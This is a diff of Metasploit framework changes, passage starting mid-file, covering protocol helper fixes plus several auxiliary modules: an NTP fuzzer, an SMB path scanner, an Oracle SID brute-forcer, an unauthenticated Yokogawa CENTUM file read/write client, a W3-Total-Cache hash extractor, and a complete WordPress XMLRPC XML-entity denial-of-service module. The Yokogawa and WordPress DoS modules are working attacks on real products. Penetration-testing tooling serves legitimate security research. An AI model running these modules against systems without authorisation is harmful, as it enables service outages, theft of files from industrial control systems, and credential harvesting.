rest :payload
end
# An NTP "private" message. Private messages are only specified for NTP
# versions 2-4, but this is a fuzzer so why not try them all...
class NTPPrivate < BitStruct
# 0 1 2 3
# 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
# |R M| VN | 7 |A| Sequence | Implementation| Req code |
# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
# | err | Number of data items | MBZ | Size of data item |
# +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
unsigned :response, 1, default: 0
unsigned :more, 1, default: 0
unsigned :version, 3, default: 0
unsigned :mode, 3, default: 7
unsigned :auth, 1, default: 0
unsigned :sequence, 7, default: 0
unsigned :implementation, 8, default: 0
unsigned :request_code, 8, default: 0
unsigned :error, 4, default: 0
unsigned :record_count, 12, default: 0
unsigned :mbz, 4, default: 0
unsigned :record_size, 12, default: 0
rest :payload
def records
records = []
1.upto(record_count) do |record_num|
records << payload[record_size*(record_num-1), record_size]
end
records
end
end
def self.ntp_control(version, operation, payload = nil)
n = NTPControl.new
n.version = version
n.operation = operation
if payload
n.payload_offset = 0
n.payload_size = payload.size
n.payload = payload
end
n.to_s
end
def self.ntp_private(version, implementation, request_code, payload = nil)
n = NTPPrivate.new
n.version = version
n.implementation = implementation
n.request_code = request_code
n.payload = payload if payload
n.to_s
end
def self.ntp_generic(version, mode)
n = NTPGeneric.new
n.version = version
n.mode = mode
n.to_s
end
# Parses the given message and provides a description about the NTP message inside
def self.describe(message)
ntp = NTPGeneric.new(message)
"#{message.size}-byte version #{ntp.version} mode #{ntp.mode} reply"
end
end
end
end

View File

@ -41,7 +41,7 @@ class LFHashRecord
attr_accessor :nodekey_offset, :nodekey_name_verification
def initialize(hive_blob, offset)
@nodekey_offset = hive_blob[offset, 4].unpack('l').first
@nodekey_offset = hive_blob[offset, 4].unpack('V').first
@nodekey_name_verification = hive_blob[offset+0x04, 4].to_s
end

View File

@ -23,16 +23,16 @@ class NodeKey
return
end
@timestamp = hive[offset+0x04, 8].unpack('q').first
@parent_offset = hive[offset+0x10, 4].unpack('l').first
@subkeys_count = hive[offset+0x14, 4].unpack('l').first
@lf_record_offset = hive[offset+0x1c, 4].unpack('l').first
@value_count = hive[offset+0x24, 4].unpack('l').first
@value_list_offset = hive[offset+0x28, 4].unpack('l').first
@security_key_offset = hive[offset+0x2c, 4].unpack('l').first
@class_name_offset = hive[offset+0x30, 4].unpack('l').first
@name_length = hive[offset+0x48, 2].unpack('c').first
@class_name_length = hive[offset+0x4a, 2].unpack('c').first
@timestamp = hive[offset+0x04, 8].unpack('Q').first
@parent_offset = hive[offset+0x10, 4].unpack('V').first
@subkeys_count = hive[offset+0x14, 4].unpack('V').first
@lf_record_offset = hive[offset+0x1c, 4].unpack('V').first
@value_count = hive[offset+0x24, 4].unpack('V').first
@value_list_offset = hive[offset+0x28, 4].unpack('V').first
@security_key_offset = hive[offset+0x2c, 4].unpack('V').first
@class_name_offset = hive[offset+0x30, 4].unpack('V').first
@name_length = hive[offset+0x48, 2].unpack('C').first
@class_name_length = hive[offset+0x4a, 2].unpack('C').first
@name = hive[offset+0x4c, @name_length].to_s
windows_time = @timestamp

View File

@ -17,10 +17,10 @@ class ValueKey
return
end
@name_length = hive[offset+0x02, 2].unpack('c').first
@length_of_data = hive[offset+0x04, 4].unpack('l').first
@data_offset = hive[offset+ 0x08, 4].unpack('l').first
@value_type = hive[offset+0x0C, 4].unpack('c').first
@name_length = hive[offset+0x02, 2].unpack('C').first
@length_of_data = hive[offset+0x04, 4].unpack('V').first
@data_offset = hive[offset+ 0x08, 4].unpack('V').first
@value_type = hive[offset+0x0C, 4].unpack('C').first
if @value_type == 1
@readable_value_type = "Unicode character string"
@ -34,7 +34,7 @@ class ValueKey
@readable_value_type = "Multiple unicode strings separated with '\\x00'"
end
flag = hive[offset+0x10, 2].unpack('c').first
flag = hive[offset+0x10, 2].unpack('C').first
if flag == 0
@name = "Default"

View File

@ -18,7 +18,7 @@ class ValueList
valuekey_offset = hive[offset + inner_offset, 4]
next if !valuekey_offset
valuekey_offset = valuekey_offset.unpack('l').first
valuekey_offset = valuekey_offset.unpack('V').first
@values << ValueKey.new(hive, valuekey_offset + 0x1000)
inner_offset = inner_offset + 4
end

View File

@ -75,6 +75,7 @@ module Rex::Socket::Ip
Rex::Compat.is_macosx
)
gram=gram.dup
# Note that these are *intentionally* host order for BSD support
gram[2,2]=gram[2,2].unpack("n").pack("s")
gram[6,2]=gram[6,2].unpack("n").pack("s")
end

View File

@ -3,6 +3,7 @@ require 'digest/md5'
require 'digest/sha1'
require 'stringio'
require 'cgi'
require 'rex/exploitation/powershell'
%W{ iconv zlib }.each do |libname|
begin
@ -305,19 +306,7 @@ module Text
# Converts a raw string to a powershell byte array
#
def self.to_powershell(str, name = "buf")
return "[Byte[]]$#{name} = ''" if str.nil? or str.empty?
code = str.unpack('C*')
buff = "[Byte[]]$#{name} = 0x#{code[0].to_s(16)}"
1.upto(code.length-1) do |byte|
if(byte % 10 == 0)
buff << "\r\n$#{name} += 0x#{code[byte].to_s(16)}"
else
buff << ",0x#{code[byte].to_s(16)}"
end
end
return buff
return Rex::Exploitation::Powershell::Script.to_byte_array(str, name)
end
#

View File

@ -0,0 +1,50 @@
require 'json'
module Sqlmap
class Manager
def initialize(session)
@session = session
end
def new_task
res = @session.get('/task/new')
return JSON.parse(res.body)
end
def delete_task(task_id)
res = @session.get('/task/' + task_id + '/delete')
return JSON.parse(res.body)
end
def set_option(task_id, key, value)
post = { key => value }
res = @session.post('/option/' + task_id + '/set', nil, post.to_json, {'ctype' => 'application/json'})
return JSON.parse(res.body)
end
def get_options(task_id)
res = @session.get('/option/' + task_id + '/list')
return JSON.parse(res.body)
end
def start_task(task_id, options = {})
res = @session.post('/scan/' + task_id + '/start' , nil, options.to_json, {'ctype' => 'application/json'})
return JSON.parse(res.body)
end
def get_task_status(task_id)
res = @session.get('/scan/' + task_id + '/status')
return JSON.parse(res.body)
end
def get_task_log(task_id)
res = @session.get('/scan/' + task_id + '/log')
return JSON.parse(res.body)
end
def get_task_data(task_id)
res = @session.get('/scan/' + task_id + '/data')
return JSON.parse(res.body)
end
end
end

View File

@ -0,0 +1,37 @@
module Sqlmap
class Session
def initialize(host, port = 8775)
@host = host
@port = port
end
def get(uri, headers = nil, params = nil)
c = Rex::Proto::Http::Client.new(@host, @port)
args = {
'uri' => uri
}
args['headers'] = headers if headers
args['vars_get'] = params if params
res = c.request_cgi(args)
res = c.send_recv(res)
return res
end
def post(uri, headers = nil, data = nil, originator_args = nil)
c = Rex::Proto::Http::Client.new(@host, @port)
args = {
'uri' => uri,
'method' => 'POST'
}
args.merge!(originator_args) if originator_args
args['headers'] = headers if headers
args['data'] = data if data
res = c.request_cgi(args)
res = c.send_recv(res)
return res
end
end
end

View File

@ -159,7 +159,7 @@ class SSHKey
SSH_CONVERSION[type].each do |method|
byte_array = to_byte_array(key_object.public_key.send(method).to_i)
out += encode_unsigned_int_32(byte_array.length).pack("c*")
out += encode_unsigned_int_32(byte_array.length).pack("C*")
out += byte_array.pack("C*")
end

View File

@ -36,7 +36,7 @@ class WindowsConsoleColorSupport
def setcolor(color)
csbi = 0.chr * 24
@GetConsoleScreenBufferInfo.Call(@hConsoleHandle,csbi)
wAttr = csbi[8,2].unpack('S').first
wAttr = csbi[8,2].unpack('v').first
case color
when 0 # reset

View File

@ -50,21 +50,21 @@ class Metasploit3 < Msf::Auxiliary
print_status("Attempting to create directory: MKD #{test}")
sock.put("MKD #{test}\r\n")
res = sock.get(-1,5)
res = sock.get_once(-1,5)
if (res =~/257 MKD command successful\./)
print_status("\tDirectory #{test} reportedly created. Verifying with SIZE #{test}")
sock.put("SIZE #{test}\r\n")
res = sock.get(-1,5)
res = sock.get_once(-1,5)
if (res =~ /550 Not a regular file/)
print_status("\tServer reports \"not a regular file\". Directory verified.")
print_status("\tAttempting to delete directory: RMD #{test}")
sock.put("RMD #{test}\r\n")
res = sock.get(-1,5)
res = sock.get_once(-1,5)
if (res =~ /250 RMD command successful\./)
print_status("\tDirectory #{test} reportedly deleted. Verifying with SIZE #{test}")
sock.put("SIZE #{test}\r\n")
res = sock.get(-1,5)
res = sock.get_once(-1,5)
print_status("\tDirectory #{test} no longer exists!")
print_status("Target is confirmed as vulnerable!")
end

View File

@ -116,7 +116,7 @@ class Metasploit3 < Msf::Auxiliary
begin
connect
sock.put(Rex::Text.rand_text(5))
res = sock.get_once
res = sock.get_once(-1, 10)
disconnect
rescue Rex::ConnectionError => e
print_error("Connection failed: #{e.class}: #{e}")
@ -147,7 +147,7 @@ class Metasploit3 < Msf::Auxiliary
connect
sock.put(pkt)
res = sock.get
res = sock.get_once(-1, 10)
disconnect

View File

@ -41,12 +41,14 @@ class Metasploit3 < Msf::Auxiliary
print_status("Starting brute force on #{rhost}, using sids from #{list}...")
fd = File.open(list, 'rb').each do |sid|
fd = ::File.open(list, 'rb').each do |sid|
login = "(DESCRIPTION=(CONNECT_DATA=(SID=#{sid})(CID=(PROGRAM=)(HOST=MSF)(USER=)))(ADDRESS=(PROTOCOL=tcp)(HOST=#{rhost})(PORT=#{rport})))"
pkt = tns_packet(login)
begin
connect
rescue ::Interrupt
raise $!
rescue => e
print_error(e.to_s)
disconnect
@ -55,12 +57,10 @@ class Metasploit3 < Msf::Auxiliary
sock.put(pkt)
select(nil,nil,nil,s.to_i)
res = sock.get_once(-1,3)
res = sock.get_once
disconnect
if ( res and res =~ /ERROR_STACK/ )
''
else
if res and res.to_s !~ /ERROR_STACK/
report_note(
:host => rhost,
:port => rport,
@ -70,6 +70,7 @@ class Metasploit3 < Msf::Auxiliary
)
print_good("#{rhost}:#{rport} Found SID '#{sid.strip}'")
end
end
print_status("Done with brute force...")

View File

@ -0,0 +1,132 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::TcpServer
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Yokogawa BKBCopyD.exe Client',
'Description' => %q{
This module allows an unauthenticated user to interact with the Yokogawa
CENTUM CS3000 BKBCopyD.exe service through the PMODE, RETR and STOR
operations.
},
'Author' =>
[ 'Unknown' ],
'References' =>
[
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/08/09/r7-2014-10-disclosure-yokogawa-centum-cs3000-bkbcopydexe-file-system-access']
],
'Actions' =>
[
['PMODE', { 'Description' => 'Leak the current database' }],
['RETR', { 'Description' => 'Retrieve remote file' }],
['STOR', { 'Description' => 'Store remote file' }]
],
'DisclosureDate' => 'Aug 9 2014',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(20111),
OptString.new('RPATH', [ false, 'The Remote Path (required to RETR and STOR)', "" ]),
OptPath.new('LPATH', [ false, 'The Local Path (required to STOR)' ])
], self.class)
end
def srvport
@srvport
end
def run
exploit
end
def exploit
@srvport = rand(1024..65535)
print_status("#{@srvport}")
# We make the client connection before giving control to the TCP Server
# in order to release the src port, so the server can start correctly
case action.name
when 'PMODE'
print_status("Sending PMODE packet...")
data = "PMODE MR_DBPATH\n"
res = send_pkt(data)
if res and res =~ /^210/
print_good("Success: #{res}")
else
print_error("Failed...")
end
return
when 'RETR'
data = "RETR #{datastore['RPATH']}\n"
print_status("Sending RETR packet...")
res = send_pkt(data)
return unless res and res =~ /^150/
when 'STOR'
data = "STOR #{datastore['RPATH']}\n"
print_status("Sending STOR packet...")
res = send_pkt(data)
return unless res and res =~ /^150/
else
print_error("Incorrect action")
return
end
super # TCPServer :)
end
def send_pkt(data)
connect(true, {'CPORT' => @srvport})
sock.put(data)
data = sock.get_once
disconnect
return data
end
def valid_response?(data)
return false unless !!data
return false unless data =~ /500 'yyparse error': command not understood/
return true
end
def on_client_connect(c)
if action.name == 'STOR'
contents = ""
File.new(datastore['LPATH'], "rb") { |f| contents = f.read }
print_status("#{c.peerhost} - Sending data...")
c.put(contents)
self.service.close
self.service.stop
end
end
def on_client_data(c)
print_status("#{c.peerhost} - Getting data...")
data = c.get_once
return unless data
if @store_path.blank?
@store_path = store_loot("yokogawa.cs3000.file", "application/octet-stream", rhost, data, datastore['PATH'])
print_good("#{@store_path} saved!")
else
File.open(@store_path, "ab") { |f| f.write(data) }
print_good("More data on #{@store_path}")
end
end
def on_client_close(c)
stop_service
end
end

View File

@ -11,6 +11,7 @@ class Metasploit3 < Msf::Auxiliary
# Exploit mixins should be called first
include Msf::Exploit::Remote::SMB
include Msf::Exploit::Remote::SMB::Authenticated
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
@ -33,6 +34,7 @@ class Metasploit3 < Msf::Auxiliary
'Author' =>
[
'patrick',
'j0hn__f'
],
'References' =>
[
@ -47,44 +49,56 @@ class Metasploit3 < Msf::Auxiliary
end
def run_host(ip)
vprint_status("Connecting to the server...")
def check_path(path)
begin
connect()
smb_login()
vprint_status("Mounting the remote share \\\\#{datastore['RHOST']}\\#{datastore['SMBSHARE']}'...")
self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}")
vprint_status("Checking for file/folder #{datastore['RPATH']}...")
if (fd = simple.open("\\#{datastore['RPATH']}", 'o')) # mode is open only - do not create/append/write etc
print_good("File FOUND: \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['RPATH']}")
fd.close
end
rescue ::Rex::HostUnreachable
vprint_error("Host #{rhost} offline.")
rescue ::Rex::Proto::SMB::Exceptions::LoginError
vprint_error("Host #{rhost} login error.")
if (fd = simple.open("\\#{path}", 'o')) # mode is open only - do not create/append/write etc
print_good("File FOUND: \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{path}")
fd.close
end
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
if e.get_error(e.error_code) == "STATUS_FILE_IS_A_DIRECTORY"
print_good("Directory FOUND: \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['RPATH']}")
elsif e.get_error(e.error_code) == "STATUS_OBJECT_NAME_NOT_FOUND"
vprint_error("Object \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['RPATH']} NOT found!")
elsif e.get_error(e.error_code) == "STATUS_OBJECT_PATH_NOT_FOUND"
vprint_error("Object PATH \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['RPATH']} NOT found!")
elsif e.get_error(e.error_code) == "STATUS_ACCESS_DENIED"
case e.get_error(e.error_code)
when "STATUS_FILE_IS_A_DIRECTORY"
print_good("Directory FOUND: \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{path}")
when "STATUS_OBJECT_NAME_NOT_FOUND"
vprint_error("Object \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{path} NOT found!")
when "STATUS_OBJECT_PATH_NOT_FOUND"
vprint_error("Object PATH \\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{path} NOT found!")
when "STATUS_ACCESS_DENIED"
vprint_error("Host #{rhost} reports access denied.")
elsif e.get_error(e.error_code) == "STATUS_BAD_NETWORK_NAME"
when "STATUS_BAD_NETWORK_NAME"
vprint_error("Host #{rhost} is NOT connected to #{datastore['SMBDomain']}!")
elsif e.get_error(e.error_code) == "STATUS_INSUFF_SERVER_RESOURCES"
when "STATUS_INSUFF_SERVER_RESOURCES"
vprint_error("Host #{rhost} rejected with insufficient resources!")
when "STATUS_OBJECT_NAME_INVALID"
vprint_error("opeining \\#{path} bad filename")
else
raise e
end
end
end
def run_host(ip)
vprint_status("Connecting to the server...")
begin
connect
smb_login
vprint_status("Mounting the remote share \\\\#{datastore['RHOST']}\\#{datastore['SMBSHARE']}'...")
self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}")
vprint_status("Checking for file/folder #{datastore['RPATH']}...")
datastore['RPATH'].each_line do |path|
check_path(path.chomp)
end #end do
rescue ::Rex::HostUnreachable
vprint_error("Host #{rhost} offline.")
rescue ::Rex::Proto::SMB::Exceptions::LoginError
print_error("Host #{rhost} login error.")
rescue ::Rex::ConnectionRefused
print_error "Host #{rhost} unable to connect - connection refused"
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode
print_error "Host #{rhost} unable to connect to share #{datastore['SMBSHARE']}"
end # end begin
end # end def
end

View File

@ -0,0 +1,178 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::HTTP::Wordpress
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'Wordpress XMLRPC DoS',
'Description' => %q{
Wordpress XMLRPC parsing is vulnerable to a XML based denial of service.
This vulnerability affects Wordpress 3.5 - 3.9.2 (3.8.4 and 3.7.4 are
also patched).
},
'Author' =>
[
'Nir Goldshlager', # advisory
'Christian Mehlmauer' # metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'http://wordpress.org/news/2014/08/wordpress-3-9-2/'],
['URL', 'http://www.breaksec.com/?p=6362'],
['URL', 'http://mashable.com/2014/08/06/wordpress-xml-blowup-dos/'],
['URL', 'https://core.trac.wordpress.org/changeset/29404']
],
'DisclosureDate'=> 'Aug 6 2014'
))
register_options(
[
OptInt.new('RLIMIT', [ true, "Number of requests to send", 1000 ])
], self.class)
register_advanced_options(
[
OptInt.new('FINGERPRINT_STEP', [true, "The stepsize in MB when fingerprinting", 8]),
OptInt.new('DEFAULT_LIMIT', [true, "The default limit in MB", 8])
], self.class)
end
def rlimit
datastore['RLIMIT']
end
def default_limit
datastore['DEFAULT_LIMIT']
end
def fingerprint_step
datastore['FINGERPRINT_STEP']
end
def fingerprint
memory_to_use = fingerprint_step
# try out the available memory in steps
# apache will return a server error if the limit is reached
while memory_to_use < 1024
vprint_status("#{peer} - trying memory limit #{memory_to_use}MB")
opts = {
'method' => 'POST',
'uri' => wordpress_url_xmlrpc,
'data' => generate_xml(memory_to_use),
'ctype' =>'text/xml'
}
begin
# low timeout because the server error is returned immediately
res = send_request_cgi(opts, timeout = 3)
rescue ::Rex::ConnectionError => exception
print_error("#{peer} - unable to connect: '#{exception.message}'")
break
end
if res && res.code == 500
# limit reached, return last limit
last_limit = memory_to_use - fingerprint_step
vprint_status("#{peer} - got an error - using limit #{last_limit}MB")
return last_limit
else
memory_to_use += fingerprint_step
end
end
# no limit can be determined
print_warning("#{peer} - can not determine limit, will use default of #{default_limit}")
return default_limit
end
def generate_xml(size)
entity = Rex::Text.rand_text_alpha(3)
doctype = Rex::Text.rand_text_alpha(6)
param_value_1 = Rex::Text.rand_text_alpha(5)
param_value_2 = Rex::Text.rand_text_alpha(5)
size_bytes = size * 1024
# Wordpress only resolves one level of entities so we need
# to specify one long entity and reference it multiple times
xml = '<?xml version="1.0" encoding="iso-8859-1"?>'
xml << "<!DOCTYPE %{doctype} ["
xml << "<!ENTITY %{entity} \"%{entity_value}\">"
xml << ']>'
xml << '<methodCall>'
xml << '<methodName>'
xml << "%{payload}"
xml << '</methodName>'
xml << '<params>'
xml << "<param><value>%{param_value_1}</value></param>"
xml << "<param><value>%{param_value_2}</value></param>"
xml << '</params>'
xml << '</methodCall>'
empty_xml = xml % {
:doctype => '',
:entity => '',
:entity_value => '',
:payload => '',
:param_value_1 => '',
:param_value_2 => ''
}
space_to_fill = size_bytes - empty_xml.size
vprint_debug("#{peer} - max XML space to fill: #{space_to_fill} bytes")
payload = "&#{entity};" * (space_to_fill / 6)
entity_value_length = space_to_fill - payload.length
payload_xml = xml % {
:doctype => doctype,
:entity => entity,
:entity_value => Rex::Text.rand_text_alpha(entity_value_length),
:payload => payload,
:param_value_1 => param_value_1,
:param_value_2 => param_value_2
}
payload_xml
end
def run
# get the max size
print_status("#{peer} - trying to fingerprint the maximum memory we could use")
size = fingerprint
print_status("#{peer} - using #{size}MB as memory limit")
# only generate once
xml = generate_xml(size)
for x in 1..rlimit
print_status("#{peer} - sending request ##{x}...")
opts = {
'method' => 'POST',
'uri' => wordpress_url_xmlrpc,
'data' => xml,
'ctype' =>'text/xml'
}
begin
c = connect
r = c.request_cgi(opts)
c.send_request(r)
# Don't wait for a response, can take very long
rescue ::Rex::ConnectionError => exception
print_error("#{peer} - unable to connect: '#{exception.message}'")
return
ensure
disconnect(c) if c
end
end
end
end

View File

@ -64,7 +64,7 @@ class Metasploit3 < Msf::Auxiliary
def get_pkt
buf = sock.get
buf = sock.get_once(-1, 10)
vprint_status("[in ] #{buf.inspect}")
buf
end

View File

@ -0,0 +1,215 @@
# encoding: UTF-8
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex/proto/ntp'
require 'securerandom'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Fuzzer
include Msf::Exploit::Remote::Udp
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'NTP Protocol Fuzzer',
'Description' => %q(
A simplistic fuzzer for the Network Time Protocol that sends the
following probes to understand NTP and look for anomalous NTP behavior:
* All possible combinations of NTP versions and modes, even if not
allowed or specified in the RFCs
* Short versions of the above
* Short, invalid datagrams
* Full-size, random datagrams
* All possible NTP control messages
* All possible NTP private messages
This findings of this fuzzer are not necessarily indicative of bugs,
let alone vulnerabilities, rather they point out interesting things
that might deserve more attention. Furthermore, this module is not
particularly intelligent and there are many more areas of NTP that
could be explored, including:
* Warn if the response is 100% identical to the request
* Warn if the "mode" (if applicable) doesn't align with what we expect,
* Filter out the 12-byte mode 6 unsupported opcode errors.
* Fuzz the control message payload offset/size/etc. There be bugs
),
'Author' => 'Jon Hart <jon_hart[at]rapid7.com>',
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(123),
OptInt.new('SLEEP', [true, 'Sleep for this many ms between requests', 0]),
OptInt.new('WAIT', [true, 'Wait this many ms for responses', 250])
], self.class)
register_advanced_options(
[
OptString.new('VERSIONS', [false, 'Specific versions to fuzz (csv)', '2,3,4']),
OptString.new('MODES', [false, 'Modes to fuzz (csv)', nil]),
OptString.new('MODE_6_OPERATIONS', [false, 'Mode 6 operations to fuzz (csv)', nil]),
OptString.new('MODE_7_IMPLEMENTATIONS', [false, 'Mode 7 implementations to fuzz (csv)', nil]),
OptString.new('MODE_7_REQUEST_CODES', [false, 'Mode 7 request codes to fuzz (csv)', nil])
], self.class)
end
def sleep_time
datastore['SLEEP'] / 1000.0
end
def check_and_set(setting)
thing = setting.upcase
const_name = thing.to_sym
var_name = thing.downcase
if datastore.key?(thing)
instance_variable_set("@#{var_name}", datastore[thing].split(/[^\d]/).select { |v| !v.empty? }.map { |v| v.to_i })
unsupported_things = instance_variable_get("@#{var_name}") - Rex::Proto::NTP.const_get(const_name)
fail "Unsupported #{thing}: #{unsupported_things}" unless unsupported_things.empty?
else
instance_variable_set("@#{var_name}", Rex::Proto::NTP.const_get(const_name))
end
end
def run_host(ip)
# check and set the optional advanced options
check_and_set('VERSIONS')
check_and_set('MODES')
check_and_set('MODE_6_OPERATIONS')
check_and_set('MODE_7_IMPLEMENTATIONS')
check_and_set('MODE_7_REQUEST_CODES')
connect_udp
fuzz_version_mode(ip, true)
fuzz_version_mode(ip, false)
fuzz_short(ip)
fuzz_random(ip)
fuzz_control(ip) if @modes.include?(6)
fuzz_private(ip) if @modes.include?(7)
disconnect_udp
end
# Sends a series of NTP control messages
def fuzz_control(host)
@versions.each do |version|
print_status("#{host}:#{rport} fuzzing version #{version} control messages (mode 6)")
@mode_6_operations.each do |op|
request = Rex::Proto::NTP.ntp_control(version, op)
what = "#{request.size}-byte version #{version} mode 6 op #{op} message"
vprint_status("#{host}:#{rport} probing with #{request.size}-byte #{what}")
responses = probe(host, datastore['RPORT'].to_i, request)
handle_responses(host, request, responses, what)
Rex.sleep(sleep_time)
end
end
end
# Sends a series of NTP private messages
def fuzz_private(host)
@versions.each do |version|
print_status("#{host}:#{rport} fuzzing version #{version} private messages (mode 7)")
@mode_7_implementations.each do |implementation|
@mode_7_request_codes.each do |request_code|
request = Rex::Proto::NTP.ntp_private(version, implementation, request_code, "\x00" * 188)
what = "#{request.size}-byte version #{version} mode 7 imp #{implementation} req #{request_code} message"
vprint_status("#{host}:#{rport} probing with #{request.size}-byte #{what}")
responses = probe(host, datastore['RPORT'].to_i, request)
handle_responses(host, request, responses, what)
Rex.sleep(sleep_time)
end
end
end
end
# Sends a series of small, short datagrams, looking for a reply
def fuzz_short(host)
print_status("#{host}:#{rport} fuzzing short messages")
0.upto(4) do |size|
request = SecureRandom.random_bytes(size)
what = "short #{request.size}-byte random message"
vprint_status("#{host}:#{rport} probing with #{what}")
responses = probe(host, datastore['RPORT'].to_i, request)
handle_responses(host, request, responses, what)
Rex.sleep(sleep_time)
end
end
# Sends a series of random, full-sized datagrams, looking for a reply
def fuzz_random(host)
print_status("#{host}:#{rport} fuzzing random messages")
0.upto(5) do
# TODO: is there a better way to pick this size? Should more than one be tried?
request = SecureRandom.random_bytes(48)
what = "random #{request.size}-byte message"
vprint_status("#{host}:#{rport} probing with #{what}")
responses = probe(host, datastore['RPORT'].to_i, request)
handle_responses(host, request, responses, what)
Rex.sleep(sleep_time)
end
end
# Sends a series of different version + mode combinations
def fuzz_version_mode(host, short)
print_status("#{host}:#{rport} fuzzing #{short ? 'short ' : nil}version and mode combinations")
@versions.each do |version|
@modes.each do |mode|
request = Rex::Proto::NTP::NTPGeneric.new
request.version = version
request.mode = mode
unless short
# TODO: is there a better way to pick this size? Should more than one be tried?
request.payload = SecureRandom.random_bytes(16)
end
what = "#{request.size}-byte #{short ? 'short ' : nil}version #{version} mode #{mode} message"
vprint_status("#{host}:#{rport} probing with #{what}")
responses = probe(host, datastore['RPORT'].to_i, request)
handle_responses(host, request, responses, what)
Rex.sleep(sleep_time)
end
end
end
# Sends +message+ to +host+ on UDP port +port+, returning all replies
def probe(host, port, message)
replies = []
udp_sock.sendto(message, host, port, 0)
reply = udp_sock.recvfrom(65535, datastore['WAIT'] / 1000.0)
while reply && reply[1]
replies << reply
reply = udp_sock.recvfrom(65535, datastore['WAIT'] / 1000.0)
end
replies
end
def handle_responses(host, request, responses, what)
problems = []
descriptions = []
responses.select! { |r| r[1] }
return if responses.empty?
responses.each do |response|
data = response[0]
descriptions << Rex::Proto::NTP.describe(data)
problems << 'large response' if request.size < data.size
ntp_req = Rex::Proto::NTP::NTPGeneric.new(request)
ntp_resp = Rex::Proto::NTP::NTPGeneric.new(data)
problems << 'version mismatch' if ntp_req.version != ntp_resp.version
end
problems << 'multiple responses' if responses.size > 1
problems.sort!
problems.uniq!
description = descriptions.join(',')
if problems.empty?
vprint_status("#{host}:#{rport} -- Received '#{description}' to #{what}")
else
print_good("#{host}:#{rport} -- Received '#{description}' to #{what}: #{problems.join(',')}")
end
end
end

View File

@ -6,8 +6,7 @@
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::HTTP::Wordpress
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
@ -15,7 +14,7 @@ class Metasploit3 < Msf::Auxiliary
super(
'Name' => 'W3-Total-Cache Wordpress-plugin 0.9.2.4 (or before) Username and Hash Extract',
'Description' =>
"The W3-Total-Cache Wordpress Plugin <= 0.9.24 can cache database statements
"The W3-Total-Cache Wordpress Plugin <= 0.9.2.4 can cache database statements
and it's results in files for fast access. Version 0.9.2.4 has been fixed afterwards
so it can be vulnerable. These cache files are in the webroot of the Wordpress
installation and can be downloaded if the name is guessed. This modules tries to
@ -25,76 +24,81 @@ class Metasploit3 < Msf::Auxiliary
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '88744'],
[ 'URL', 'http://seclists.org/fulldisclosure/2012/Dec/242']
['OSVDB', '88744'],
['URL', 'http://seclists.org/fulldisclosure/2012/Dec/242']
],
'Author' =>
[
'Christian Mehlmauer', # Metasploit module
'Jason A. Donenfeld <Jason[at]zx2c4.com>' # POC
'Christian Mehlmauer', # Metasploit module
'Jason A. Donenfeld <Jason[at]zx2c4.com>' # POC
]
)
register_options(
[
OptString.new('TARGETURI', [ true, 'Wordpress root', '/']),
OptString.new('TABLE_PREFIX', [ true, 'Wordpress table prefix', 'wp_']),
OptInt.new('SITE_ITERATIONS', [ true, 'Number of sites to iterate', 25]),
OptInt.new('USER_ITERATIONS', [ true, 'Number of users to iterate', 25]),
OptString.new('WP_CONTENT_DIR', [ true, 'Wordpress content directory', 'wp-content'])
OptString.new('TABLE_PREFIX', [true, 'Wordpress table prefix', 'wp_']),
OptInt.new('SITE_ITERATIONS', [true, 'Number of sites to iterate', 25]),
OptInt.new('USER_ITERATIONS', [true, 'Number of users to iterate', 25])
], self.class)
end
def wordpress_url
url = target_uri
url.path << "/" if url.path[-1,1] != "/"
url
def table_prefix
datastore['TABLE_PREFIX']
end
def site_iterations
datastore['SITE_ITERATIONS']
end
def user_iterations
datastore['USER_ITERATIONS']
end
# Call the User site, so the db statement will be cached
def cache_user_info(user_id)
user_url = normalize_uri(wordpress_url)
user_url = normalize_uri(target_uri)
begin
send_request_cgi(
{
"uri" => user_url,
"method" => "GET",
"vars_get" => {
"author" => user_id.to_s
}
})
'uri' => user_url,
'method' => 'GET',
'vars_get' => {
'author' => user_id.to_s
}
)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
